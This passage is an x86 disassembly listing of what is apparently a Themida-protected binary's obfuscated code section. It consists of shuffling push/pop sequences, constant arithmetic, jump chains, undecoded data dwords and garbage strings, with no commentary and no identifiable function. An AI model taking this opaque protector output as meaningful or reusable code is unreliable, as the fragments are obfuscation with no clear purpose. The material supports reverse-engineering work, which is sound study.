		dd 29316A98h, 8104EFC1h, 0E54391CFh, 0E9D7F732h, 80C2h
		dd 5D2C70BAh, 4244BE74h, 0D6297DFDh, 5EF0015Ah,	400BB12Dh
		dd 7BFE2D13h, 0E8295356h, 567BFE05h, 0BB10553h,	0D42D1340h
		dd 8B09A015h, 0DFE9242Ch, 8B00009Ch, 0C481240Ch, 4, 2474FF50h
		dd 48F5804h, 24248B24h,	0F66F9F6h, 0EBE9CCB6h, 81000005h
		dd 4C7h, 4C78100h, 87000000h, 248B243Ch, 6CB9E924h, 0FB290000h
		dd 0ABE9515Fh, 33FFFFE0h, 4312404h, 0E9C83124h,	0FFFF65C2h
		dd 582434FFh, 4EC8157h,	89000000h, 4812424h, 424h, 0C7815F00h
		dd 4, 46851h, 34FF0000h, 6A59E924h, 0E089FFFFh,	405h, 4BA5200h
		dd 29000000h, 0DCD4E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5663D6:				; CODE XREF: Themida_:00567B07j
		pop	ecx
		jmp	loc_56DA6A
; ---------------------------------------------------------------------------
		dd 2EF81h, 68E90000h, 52000059h, 2BAh, 0E9D50100h, 33AAh
		dd 0B512905h, 0E9D8016Ah, 0FFFFBA55h, 24048B66h, 358068h
		dd 241C8900h, 4CB168h, 48F5400h, 24048124h, 4, 0E9241C8Bh
		dd 0FFFFAB14h
; ---------------------------------------------------------------------------


loc_566424:				; CODE XREF: Themida_:00562519j
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		idiv	cx
		push	small 7081h
		jmp	loc_562DCD
; ---------------------------------------------------------------------------
		db 89h
		dd 78BA2414h, 81209947h, 0A32975CAh, 38CA8147h,	0E95FBB1Eh
		dd 5702h
; ---------------------------------------------------------------------------


loc_566460:				; CODE XREF: Themida_:0056AD77j
		or	ebp, 5B790932h
		xor	ebp, 0B0B317EBh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, ebx
		jmp	loc_55C44B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD359h, 0A249E99Ch, 0E951FFFFh, 0FFFF882Bh
		dd 50240C8Bh, 405E089h,	5000000h, 4, 9F18E9h, 0FFFF0500h
		dd 0B605FFFFh, 161E406h, 0F4E958C3h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5664B7:				; CODE XREF: Themida_:0056BEC1j
		not	ecx
		push	5C96h
		mov	[esp], edi
		jmp	loc_56500B
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 862401F7h, 8147471Ah, 430CB6F7h, 5FF88943h, 87DAE9h
		dd 48B6600h, 4EC8324h, 89243C89h, 0B95150E7h, 44310B9Eh
		dd 5F1789B8h, 59C82968h, 29E9D0F7h, 89000021h, 37E9242Ch
		dd 83FFFF87h, 0C8704C1h, 0E9815C24h, 5BBD638Ch,	0BA52E901h
		dd 5BBD638Ch, 34FFD101h, 9A685A24h, 89000018h, 0E789243Ch
		dd 0FFFE3AE9h, 241C8BFFh, 8304C483h, 586804C4h,	89000018h
		dd 5BE9240Ch
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566547:				; CODE XREF: Themida_:0056E2F4j
		pop	ecx
		add	esp, 4
		shl	esi, 4
		add	esi, 0A463B2A0h
		and	eax, esi
		jmp	loc_561DBA
; ---------------------------------------------------------------------------


loc_56655B:				; CODE XREF: Themida_:0056B7E6j
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	58BDh
		mov	[esp], esi
		mov	esi, 0A156439h
		sub	esi, 0A156435h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	54ABh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5F697552h
		add	edx, ecx
		pop	ecx
		add	edx, eax
		push	ebp
		push	eax
		mov	eax, 157105EAh
		xchg	eax, ecx
		jmp	loc_5620CE
; ---------------------------------------------------------------------------
		dw 6AB9h
		dd 8115254Ah, 0B95C0AC1h, 7E1C129h, 0FFB641E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5665C9:				; CODE XREF: Themida_:0055D6A9j
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		sub	[edi+24h], ebp
		pop	ebp
		jmp	loc_56FE1B
; ---------------------------------------------------------------------------
		db 83h
		dd 43304E8h, 24043124h,	5C240433h, 0BA241489h, 2D1F3954h
		dd 1C0468h, 240C8900h, 570EE9h,	0E9535C00h, 0FFFF89EEh
; ---------------------------------------------------------------------------


loc_566608:				; CODE XREF: Themida_:0056FCD9j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_56A27C
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 83000000h,	148704EAh, 24895C24h, 24048324h
		dd 6F83E904h, 0C3810000h, 4, 708E9h
		db 0
; ---------------------------------------------------------------------------


loc_56663D:				; CODE XREF: Themida_:00565038j
		push	ebx
		mov	ebx, 436E2E18h
		jmp	loc_56567F
; ---------------------------------------------------------------------------


loc_566648:				; CODE XREF: Themida_:005603C2j
		add	ebx, 362130BFh
		add	ebx, 58264B37h
		jmp	loc_55CF0C
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 4E88300h, 2474FF50h, 24048B04h, 0E904C483h, 0FFFFE678h
		dd 4C481h, 26BA0000h, 29B8B092h, 0E2815DEAh, 2DA12A7Bh
		dd 8103EAC1h, 0EF9762C2h, 5AD1018Ah, 0A0ABE9h, 4EC8300h
		dd 81242489h, 42404h, 48B0000h,	4C48324h, 575BE9h, 44EB8100h
		dd 8B25012Eh, 0C481242Ch, 4, 0FFFD2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5666C5:				; CODE XREF: Themida_:00568483j
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		inc	ebp
		jmp	loc_56E032
; ---------------------------------------------------------------------------
		db 0BBh, 6Ch, 31h
		dd 0B8500508h, 0F0E638Eh, 0D57DD725h, 5E8C15Eh,	0FDBBE948h
		dd 2C8BFFFFh, 4C48324h,	8B243C87h, 0C892424h, 5D24E924h
		dd 0C783FFFFh, 0AC5EE904h, 15B0000h, 48C5E9E8h,	0C870000h
		dd 3C895C24h, 2474FF24h, 48F5F04h, 0F665C24h, 9C2404A3h
		dd 0FF5CF9E9h, 2434FFFFh, 8B2434FFh, 8951240Ch,	4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 2434895Ch, 0A3E9E689h, 33FFFFB0h
		dd 6E9240Ch, 4B00004Dh,	0FA23C381h, 33E9E636h, 5BFFFFE6h
		dd 104C483h, 24148BD1h,	0FF71BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566771:				; CODE XREF: Themida_:00560D19j
		mov	[esp], esi
		mov	esi, 107A4EE9h
		sub	edx, esi
		jmp	loc_567E50
; ---------------------------------------------------------------------------
		dd 0E904C683h, 0FFFFDF42h, 32E9D3F7h, 3000002Ch, 1B76E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566796:				; CODE XREF: Themida_:005640B8j
		push	4863h
		mov	[esp], ebx
		mov	ebx, 48C94DF5h
		push	esi
		mov	esi, 2F7A5DEEh
		jmp	loc_56B527
; ---------------------------------------------------------------------------


loc_5667AE:				; CODE XREF: Themida_:0057019Bj
		sub	ebp, 4
		jmp	loc_567FB4
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 52000000h, 42474FFh,	24048F5Ah, 8124248Bh, 0B43473F3h
		dd 95C38168h, 0E9B84DEEh, 4F27h, 4C48158h, 0E9000000h
		dd 8D1h
; ---------------------------------------------------------------------------


loc_5667E8:				; CODE XREF: Themida_:0055E98Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_564CA3
; ---------------------------------------------------------------------------


loc_5667F8:				; CODE XREF: Themida_:0055CDA0j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55C6EB
; ---------------------------------------------------------------------------


loc_566803:				; CODE XREF: Themida_:0055E6CCj
		mov	edx, 33963D58h
		and	esi, edx
		pop	edx
		push	ecx
		push	edi
		jmp	loc_55E5FF
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 7502E915h, 0F5010000h, 0C319E95Eh, 0D321FFFFh, 30F5685Ah
		dd 34890000h, 4D02BE24h, 0F5E900C9h, 81000095h,	4C4h, 0A0BE5600h
		dd 53762614h, 0FFEB1BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566849:				; CODE XREF: Themida_:0056E96Fj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	edx, 0BC68A277h
		push	edi
		mov	edi, 10FA49F9h
		add	edx, edi
		pop	edi
		sub	edx, ebp
		jmp	loc_562146
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0CBh
		dd 473B30BFh, 37AEB81h,	0DD89222Eh, 8BE8015Bh, 0C483242Ch
		dd 1D2AE904h, 0BD550000h, 4BE1337Ch, 15DE929h, 7CC181F9h
		dd 5F4BE133h, 0F2BF5752h, 0F7028A51h, 5AB850DFh, 0C1724A2Dh
		dd 55E907E0h, 330000A0h, 1C31241Ch, 241C3324h, 0E924248Bh
		dd 0FFFFDC55h, 4D79E95Ch, 0C8B0000h, 4C48324h, 2CBE5657h
		dd 8136572Dh, 5DFFCAEEh, 6CCBE9F6h, 0F0010000h,	0BB446705h
		dd 148B5E5Fh, 4C48324h,	9D18E9h
		db 0
; ---------------------------------------------------------------------------


loc_5668F5:				; CODE XREF: Themida_:0057074Aj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56E3AE
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 1D6A6824h, 0C890000h, 0A135E924h, 1C890000h,	5E00BB24h
		dd 0C3815396h, 29EF3E74h, 0A293E9h, 5AF4E900h, 0C281FFFFh
		dd 32D26089h, 0EC81515Dh, 4, 0FF874CE9h, 0A5C581FFh, 5F287227h
		dd 31242C33h, 2C33242Ch, 8BFE924h, 68660000h, 89664366h
		dd 0F66240Ch, 5166C8B6h, 5AB8E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56696A:				; CODE XREF: Themida_:0055EF02j
		pop	eax
		jmp	loc_56A87D
; ---------------------------------------------------------------------------
aTQh0mcyb@lsisg	db 'T[Qh 0MCYÁ@l‘ié£',0
		align 4
		dd 1B82F281h, 0CA812D36h, 34D7B25h, 9B69F281h, 0D301F2ABh
		dd 0FFD631E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56699D:				; CODE XREF: Themida_:0056E394j
		mov	ebp, eax
		push	dword ptr [esp]
		jmp	loc_567977
; ---------------------------------------------------------------------------
		db 54h
		dd 17BA5259h, 817DD428h, 134BFDE2h, 2EAC112h, 50D3CA81h
		dd 0F28134D2h, 48DF010Bh, 0AC28C281h, 0D10183F6h, 325AE9h
		dd 29F68100h, 0E92B4E29h, 5D99h
; ---------------------------------------------------------------------------


loc_5669DC:				; CODE XREF: Themida_:0056FCC5j
		push	eax
		jmp	loc_566134
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 78D86804h, 0C890000h, 396EB924h, 67E99AFEh
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5669F7:				; CODE XREF: Themida_:0055FF2Dj
		pop	edx
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, eax
		pop	eax
		shl	ebp, 7
		jmp	loc_5657D8
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 44EEB850h, 3F2D361Bh, 3570027Ch, 0E3CACCDAh, 0FFBD61E9h
		dd 0F6E959FFh
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566A2F:				; CODE XREF: Themida_:0056DB87j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		add	eax, 4A4B6CDCh
		jmp	loc_570B58
; ---------------------------------------------------------------------------
		db 2Dh,	0A5h, 48h
		dd 55B2370h, 0EA8BE282h, 0FF59C9E9h, 81E789FFh,	4C7h, 4BB5300h
		dd 1000000h, 3C875BDFh,	89565C24h, 4C681E6h, 83000000h
		dd 0FF5604EEh, 5E042474h, 8B24048Fh, 0D9E92424h, 81FFFF7Fh
		dd 302A59EEh, 0A2E8E907h, 5FBD0000h, 0C155DE07h, 0E5C102EDh
		dd 45ED8105h, 31FC3E87h, 242C8BEAh, 621CE9h, 4E80000h
		dd 2C596660h, 0A5CEE9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566ABE:				; CODE XREF: Themida_:0056DE91j
		mov	edx, [esp]
		jmp	loc_55EDE9
; ---------------------------------------------------------------------------
		dw 0F768h
		dd 89000074h, 0F3E92414h, 5BFFFFCCh, 4835C581h,	0FD0107E6h
		dd 4835ED81h, 1E907E6h,	89000090h, 24348BF3h, 8A48E9h
		db 0
; ---------------------------------------------------------------------------


loc_566AF1:				; CODE XREF: Themida_:0056D269j
		add	bl, al
		add	bl, 34h
		jmp	loc_56B2F7
; ---------------------------------------------------------------------------


loc_566AFB:				; CODE XREF: Themida_:0056147Fj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56F368
; ---------------------------------------------------------------------------


loc_566B04:				; CODE XREF: Themida_:0055FC9Aj
		inc	edi
		sub	edi, 2A851250h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	edx
		jmp	loc_55FA58
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 0FFDCB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566B21:				; CODE XREF: Themida_:00565C89j
		mov	ecx, esp
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4AC5789Fh
		jmp	loc_567A82
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 81h
		dd 5989F9F7h, 5FFE0180h, 4BE5655h, 0E9000000h, 0FFFFCF82h
; ---------------------------------------------------------------------------


loc_566B48:				; CODE XREF: Themida_:0056505Dj
		mov	edi, edx
		jmp	loc_55F489
; ---------------------------------------------------------------------------
		db 5Eh
		dd 5C241C87h, 0FFAB86E9h, 515854FFh, 0FFAB2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566B61:				; CODE XREF: Themida_:0056F722j
		sub	ebx, 1D0D0D6Fh
		add	ebx, edi
		push	esi
		jmp	loc_567FC3
; ---------------------------------------------------------------------------
		db 50h
		dd 7020B9B8h, 2D4E94Ah,	835A0000h, 6AE904C4h, 0BFFFFF8Ch
		dd 4, 98FDE9h, 19E38100h, 0F708F975h, 83F381DBh, 29D732AFh
		dd 2434FFDFh, 41D6E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566BA6:				; CODE XREF: Themida_:00565688j
		add	edx, 35DE1130h
		sub	edx, 13F844CEh
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_562597
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4EC81h, 47E90000h, 0BE0000A7h, 0F94AE75Eh, 0E95EF729h
		dd 471h, 3EE95166h, 0C1FFFF9Dh,	0E1E903EFh
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566BE7:				; CODE XREF: Themida_:0056411Bj
		and	ebp, 5391221Eh
		push	esi
		mov	esi, offset byte_45A921
		sub	ebp, 32224E15h
		sub	ebp, esi
		add	ebp, 32224E15h
		pop	esi
		jmp	loc_5694CD
; ---------------------------------------------------------------------------


loc_566C07:				; CODE XREF: Themida_:005681AAj
		mov	esi, 4
		sub	edi, 25265A6Dh
		sub	edi, 39427A6Eh
		add	edi, esi
		add	edi, 39427A6Eh
		push	edx
		jmp	loc_567359
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 1A3E6F35h, 592434FFh, 4C481h, 0E7E90000h, 5CFFFF57h
		dd 9C240429h, 0FF57DDE9h, 6368FFh, 14890000h, 68525124h
		dd 4419h, 53240C89h, 0ACDE9h
		db 0
; ---------------------------------------------------------------------------


loc_566C5D:				; CODE XREF: Themida_:0055D82Dj
		add	ecx, 4
		jmp	loc_56B091
; ---------------------------------------------------------------------------


loc_566C65:				; CODE XREF: Themida_:005632D7j
		pop	esp
		add	ebx, 4
		jmp	loc_56FFA7
; ---------------------------------------------------------------------------
		db 68h,	0C3h, 4Bh
		dd 6DE95E53h, 0E900001Eh, 0FFFF57A2h
; ---------------------------------------------------------------------------


loc_566C80:				; CODE XREF: Themida_:0056A878j
		add	edi, 2EB65D9Ah
		inc	edi
		jmp	loc_56D325
; ---------------------------------------------------------------------------
		dd 0B8240489h, 7B220265h, 7BC1BE56h, 0F02127C7h, 23D2D5Eh
		dd 0BF572302h, 3E367DA7h, 81474747h, 4D4498F7h,	5FFD295Dh
		dd 703EC581h, 0C5010313h, 703EED81h, 0C5810313h, 637B3932h
		dd 72E95258h, 0B700006Dh, 76E952E9h, 8B00004Fh,	4012424h
		dd 3FE99C24h, 0FFFFFF57h, 34FF3877h, 2434FF24h,	4C48159h
		dd 68000000h, 36BDh, 0E9240C89h, 6B23h,	2D48405Eh, 501F4F59h
		dd 5740D0F7h, 4718B850h, 5F500B5Eh, 0B8505558h,	19E67002h
		dd 2958C589h, 0B010E9EFh, 3C89FFFFh, 3625BF24h,	0FB017CE0h
		dd 5191E9h
		db 0
; ---------------------------------------------------------------------------


loc_566D35:				; CODE XREF: Themida_:0056F77Cj
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_55DE83
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 87000000h, 305C241Ch, 2434FFD8h, 0FFB3FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566D59:				; CODE XREF: Themida_:005709C6j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4


loc_566D60:				; CODE XREF: Themida_:0056A30Fj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		sub	esp, 4
		mov	[esp], edi
		xor	dword ptr [esp], 28A055Bh
		jmp	loc_5628CE
; ---------------------------------------------------------------------------


loc_566D7A:				; CODE XREF: Themida_:0055FCF6j
		push	ebx
		push	eax
		mov	eax, 375E4BFFh
		sub	eax, 345545EFh
		add	eax, 13895C90h
		push	ecx
		mov	ecx, eax
		jmp	loc_5703C5
; ---------------------------------------------------------------------------


loc_566D93:				; CODE XREF: Themida_:0055EBC4j
		add	ebp, edx
		pop	edx
		add	ebp, esi
		jmp	loc_55ED47
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0ACh
		dd 8166867Fh, 0A03C39EDh, 0B155E903h, 0E9ADFFFFh, 0FFFFAB19h
		dd 0E991C829h, 0FFFFC158h, 592434FFh, 5BC768h, 24048900h
		dd 0FFFD8CE9h, 5FF831FFh, 34E9C701h, 89FFFFCDh,	6655240Ch
		dd 665E3BBDh, 6637C6B9h, 665DE931h, 0A9FDC181h,	8BC82966h
		dd 0C481240Ch, 4, 404AE9h
		db 0
; ---------------------------------------------------------------------------


loc_566DFD:				; CODE XREF: Themida_:005652B3j
		mov	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	2DFBh
		mov	[esp], esi
		mov	esi, 67707184h
		push	edi
		mov	edi, 62F2103h
		sub	esi, edi
		pop	edi
		sub	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 24704792h
		push	edi
		mov	edi, 7B8804DFh
		shr	edi, 5
		jmp	loc_563F07
; ---------------------------------------------------------------------------


loc_566E38:				; CODE XREF: Themida_:005659C2j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5701C7
; ---------------------------------------------------------------------------


loc_566E43:				; CODE XREF: Themida_:0056D08Fj
		xor	ah, 0A9h
		sub	bl, ah
		pop	eax
		jmp	loc_56D266
; ---------------------------------------------------------------------------
		dw 0C329h
		dd 0FFC30158h, 81582434h, 4C4h,	1EB8100h, 4B000000h, 4EC81h
		dd 14890000h, 4A74E924h, 68510000h, 17FB225Eh, 0EAC18159h
		dd 8942F640h, 0F79759CFh, 0EF8197D0h, 38A61CC9h, 55AEF81h
		dd 0EF817CCEh, 0EF9A7A90h, 7FA9C681h, 0FE0106B1h, 7FA9EE81h
		dd 9CE906B1h, 5EFFFF7Bh, 0FFC3F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566EB1:				; CODE XREF: Themida_:00567B2Fj
		xor	[esp+4], eax
		jmp	loc_570DC5
; ---------------------------------------------------------------------------


loc_566EBA:				; CODE XREF: Themida_:005693A6j
		not	esi
		sub	esi, 0FFFFFFFFh
		sub	esp, 4
		jmp	loc_5681C0
; ---------------------------------------------------------------------------


loc_566EC7:				; CODE XREF: Themida_:00567FAFj
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55F385
; ---------------------------------------------------------------------------
		dw 0D568h
		dd 8B6CC560h, 0C483242Ch, 69E58104h, 55275A5Eh,	0E9241CF7h
		dd 5CC0h, 2AB568h, 24148900h, 0FF74CEE9h, 24348BFFh, 0E9E68956h
		dd 4Bh
; ---------------------------------------------------------------------------


loc_566F20:				; CODE XREF: Themida_:00568190j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_570712
; ---------------------------------------------------------------------------
		dw 0A2Dh
		dd 15E5605h, 0F73158C6h, 8124348Bh, 4C4h, 8BFB0100h, 0C481243Ch
		dd 4, 3302C383h, 54E9241Ch, 81000073h, 4C6h, 4C68100h
		dd 87000000h, 815C2434h, 0DD6318C7h, 0E9D70164h, 0FFFFF11Dh
; ---------------------------------------------------------------------------


loc_566F88:				; CODE XREF: Themida_:0056BCEDj
		xor	esi, 1DA577FDh
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edx, 0F92F75A5h
		jmp	loc_55D1DF
; ---------------------------------------------------------------------------
		db 5Ch,	33h, 0Ch
		dd 9B84E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566FAA:				; CODE XREF: Themida_:00570ACEj
		push	dword ptr [esp]
		pop	eax
		push	219Bh
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_56554B
; ---------------------------------------------------------------------------
aISY		db 'ˆêéÁY',0
		align 2
		dw 53E9h
		dd 59FFFF54h, 6F5EC181h, 415D2C6Ch, 1675E9h
		db 0
; ---------------------------------------------------------------------------


loc_566FDD:				; CODE XREF: Themida_:00567202j
		xor	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, edx
		mov	ebx, edi
		jmp	loc_566150
; ---------------------------------------------------------------------------
		db 5Eh
		dd 7C1AC181h, 8EE94339h, 5AFFFFD6h, 0FE9FD28h, 81FFFFF8h
		dd 0B99399E9h, 59C80118h, 2BA52h, 89E90000h, 81000072h
		dd 4C6h, 0B75DE900h, 21B7FFFFh,	0C7FEDFF6h, 0E9B5F780h
		dd 8F98h, 3B7EE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567036:				; CODE XREF: Themida_:00564BC8j
		pop	ebp
		jmp	loc_569BC7
; ---------------------------------------------------------------------------
		dd 2955CA81h, 0FA877D3Ah, 0FFA123E9h, 46E950FFh
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56704F:				; CODE XREF: Themida_:0056F4FBj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	390Eh
		jmp	loc_56ECDB
; ---------------------------------------------------------------------------


loc_567077:				; CODE XREF: Themida_:0055D146j
		mov	ebx, [esp]
		push	ecx
		jmp	loc_56DB7F
; ---------------------------------------------------------------------------
		dd 0C268h, 24248900h, 0FFE769E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56708D:				; CODE XREF: Themida_:00567DA6j
		mov	[esp], eax
		mov	eax, 8733DE0h
		shr	eax, 2
		add	eax, 4B302C08h
		jmp	loc_569F26
; ---------------------------------------------------------------------------


loc_5670A2:				; CODE XREF: Themida_:00571037j
		add	ebp, 78B7716Dh
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_560A48
; ---------------------------------------------------------------------------
		db 68h,	0C0h, 3Ah
		dd 1C890000h, 2474FF24h, 48F5B04h, 8B665C24h, 0C0682404h
		dd 89000003h, 8B542404h, 0C4812404h, 4,	4BB53h,	0B9510000h
		dd 23210219h, 0E9D1F749h, 0D29h, 0E9F2315Dh, 21B8h, 0C281E289h
		dd 4, 8704C283h, 835C2414h, 0C3304C4h, 240C3124h, 5C240C33h
		dd 24048B66h, 326168h, 0D64CE900h, 5649FFFFh, 0FFCA41E9h
		dd 0C4815AFFh, 4, 4A2685Bh, 4890000h, 52E0E924h, 0C783FFFFh
		dd 725DE901h, 0D828FFFFh, 81241C8Bh, 4C4h, 0E9A00400h
		dd 0FFFF8BFEh, 824248Bh, 0E99C2404h, 0FFFF52BAh, 0E906E3C1h
		dd 51A8h
; ---------------------------------------------------------------------------


loc_567170:				; CODE XREF: Themida_:0056565Bj
		push	edi
		jmp	loc_55F350
; ---------------------------------------------------------------------------


loc_567176:				; CODE XREF: Themida_:0056308Bj
		mov	[esp], edx
		mov	edx, 0EB514D6h
		xor	edi, edx
		jmp	loc_563792
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF7C5Fh, 19ADE95Bh, 66640000h, 2268028Bh
		dd 0E9000014h, 53A1h, 89240489h, 4D66E9E0h, 14890000h
		dd 4BA24h, 0D3010000h, 5D7C685Ah, 4890000h, 2B824h, 0BF570000h
		dd 1EF7375Eh, 0FFF1B1E9h, 0C8B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	3FFDh
		mov	[esp], ebx
		jmp	loc_56B2CA
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0E5C07854h, 0E95AD101h, 21F9h
; ---------------------------------------------------------------------------


loc_5671FC:				; CODE XREF: Themida_:0056B73Dj
		xor	esi, 6A9598EDh
		jmp	loc_566FDD
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C58107E5h, 60FBB6A2h, 0FFC02FE9h, 24248BFFh, 3CE957h
		dd 31AD0000h, 74B951D8h, 8122A55Dh, 0FFFFFFE9h,	51C181FFh
		dd 837F6E3Dh, 0C0E904ECh, 5CFFFF77h, 0E780C7FEh, 22696827h
		dd 4890000h, 4D686624h,	0C896609h, 8850B524h, 4F6CE9E8h
		dd 0E7890000h, 4C781h, 0EF810000h, 4, 5C243C87h, 0FFBC22E9h
		dd 0C6815FFFh, 4, 5C243487h, 163668h, 24348900h, 7030E9h
		dd 0C0E95C00h, 5E000002h, 49EB81h, 0C3296779h, 65CB951h
		dd 58E975E7h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5672A3:				; CODE XREF: Themida_:0055F024j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_57140B
		push	4A36h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 54F53B0Fh
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 4A52131Ch
		mov	ebx, edx
		jmp	loc_55D5B9
; ---------------------------------------------------------------------------
		dd 4EC8352h, 0B3241C89h, 1C38094h, 83A0F380h, 0C8904ECh
		dd 88DD8824h, 240C8BEAh, 5FB4E9h, 0C3815B00h, 4FDC3AF7h
		dd 245C0158h, 52595B04h, 4BAh, 0A6BA5200h, 0E961FA2Bh
		dd 8FC1h, 9A48E95Fh, 1489FFFFh,	65F2BA24h, 0F74A548Fh
		dd 0B36853D2h, 89000024h, 36B9240Ch, 0F76FBC55h, 0C18141D9h
		dd 32D8719Bh, 265BE9h
		db 0
; ---------------------------------------------------------------------------


loc_567359:				; CODE XREF: Themida_:00566C21j
		mov	edx, 72352F1Ch
		and	edx, 7D96146Bh
		dec	edx
		not	edx
		shr	edx, 4
		and	edx, 5516318Ah
		xor	edx, 25306BE7h
		add	edi, edx
		pop	edx
		jmp	loc_5613BD
; ---------------------------------------------------------------------------


loc_56737E:				; CODE XREF: Themida_:0056C187j
		mov	eax, 407476E6h
		jmp	loc_55F035
; ---------------------------------------------------------------------------
		dd 0E957EE01h, 4258h, 0A4E9DD88h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567397:				; CODE XREF: Themida_:0056ACD1j
		mov	eax, 4C8F3A51h
		and	eax, 70345889h
		jmp	loc_56C998
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 4, 0FFF35DE9h, 0CCE95AFFh, 83000037h, 143304EAh, 0D6B7E924h
		dd 0E22DFFFFh, 294A2CD8h, 2434FFC3h, 73D0E9h, 0F8016600h
		dd 0C829665Fh, 62922D66h, 240C8B66h, 0E902C483h, 662Ah
